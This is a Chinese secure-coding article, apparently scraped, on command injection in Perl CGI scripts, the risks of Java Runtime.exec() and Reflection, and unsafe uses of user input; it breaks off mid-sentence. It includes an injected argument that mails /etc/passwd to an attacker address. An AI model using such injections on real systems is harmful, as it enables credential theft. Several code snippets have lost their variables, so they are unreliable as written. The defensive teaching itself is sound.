Java伺服器端編程安全必讀(2)
來源:互聯網
上載者:User
四、字串解釋執行
在有些程式設計語言中,輸入字串中可以插入特殊的函數,欺騙伺服器使其執行額外的、多餘的動作。下面的Perl代碼就是一個例子:
= "mail body";
system("/usr/sbin/sendmail -t < ");
顯然,這些代碼可以作為CGI程式的一部分,或者也可以從命令列調用。通常,它可以按照如下方式調用:
perl script.pl honest@true.com
它將把一個郵件(即“mail body”)
發送給使用者honest@true.com。這個例子雖然簡單,但我們卻可以按照如下方式進行攻擊:
perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd
這個命令把一個空白郵件發送給honest@true.com,同時又把系統密碼檔案發送給了cheat@liarandthief.com。如果這些代碼是CGI程式的一部分,它會給伺服器的安全帶來重大的威脅。
Perl程式員常常用外部程式(比如sendmail)擴充Perl的功能,以避免用指令碼來實現外部程式的功能。然而,Java有著相當完善的API。比如對於郵件發送,JavaMail API就是一個很好的API。但是,如果你比較懶惰,想用外部的郵件發送程式發送郵件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");
事實上這是行不通的。Java一般不允許把OS級“< ”和“;”之類的構造符號作為Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");
但是,這種代碼是不安全的,它把前面Perl代碼面臨的危險帶入了Java程式。按照常規的Java方法解決問題有時看起來要比取巧的方法複雜一點,但它幾乎總是具有更好的可移植性、可擴充性,而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例子,其他許多情形更複雜、更隱蔽。
讓我們來考慮一下Java的映像API(Reflection API)。Java映像API允許我們在運行時決定調用對象的哪一個方法。任何由使用者輸入命令作為映像尋找條件的時機都可能成為系統的安全弱點。例如,下面的代碼就有可能產生這類問題:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] );
如果“action”的值允許使用者改變,這裡就應該特別注意了。注意,這種現象可能會在一些令人奇怪的地方出現——或許最令人奇怪的地方就是JSP。大多數JSP引擎用映像API實現下面的功能: